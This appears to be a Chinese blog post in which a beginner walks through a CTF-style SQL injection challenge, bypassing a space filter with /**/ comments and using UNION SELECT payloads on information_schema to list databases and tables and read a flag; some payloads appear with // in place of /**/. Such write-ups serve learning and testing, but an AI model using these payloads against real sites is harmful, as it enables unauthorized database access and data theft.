sql注入的相关简单实例(2)-木庄网络博客

2022-02-05 20:19:02 PHP中文网数据库 720 0 百度已收录

本人也是初学者，参考了许多大佬的wp 自己写出来后有什么错误的地方，希望大家指出，谢谢!

根据页面提示，到底过滤了什么东西?可以知道一定过滤了什么....

分别输入1,2,3有对应的结果

使用'会报错，于是

构造常用的sql语句：1' and '1'='1

没有反应试一试1' and '1'='2

还是没反应，工具提示，应该是过滤了什么，改一下sql语句试一试

1and1=1

可以显示东西，经过判断过滤了空格，我们使用/**/来代替空格

试一试1'/**/and/**/'1'='1

发现有结果了：

于是构建sql语句：

判断有那些数据库：

1	`1'//union//select//schema_name//from//information_schema.schemata//where/**/'1'='1`

可以看到结果：

查看有哪些数据表：

1	`1'//union//select//table_name//from//information_schema.tables//where/**/'1'='1`

发现了flag的表，我们猜测应该是在web1数据库中并且字段就是flag(其实就在本页面的数据库中)

故：

1	`1'//union//select//flag//from//web1.flag//where/**/'1'='1`

以上就是sql注入的相关简单实例的详细内容，更多文章请关注木庄网络博客！！

相关阅读 >>

更多相关阅读请进入《实例》频道 >>

书籍

数据库系统概念第6版

￥41.1元 机械工业出版社

本书主要讲述了数据模型、基于对象的数据库和XML、数据存储和查询、事务管理、体系结构等方面的内容。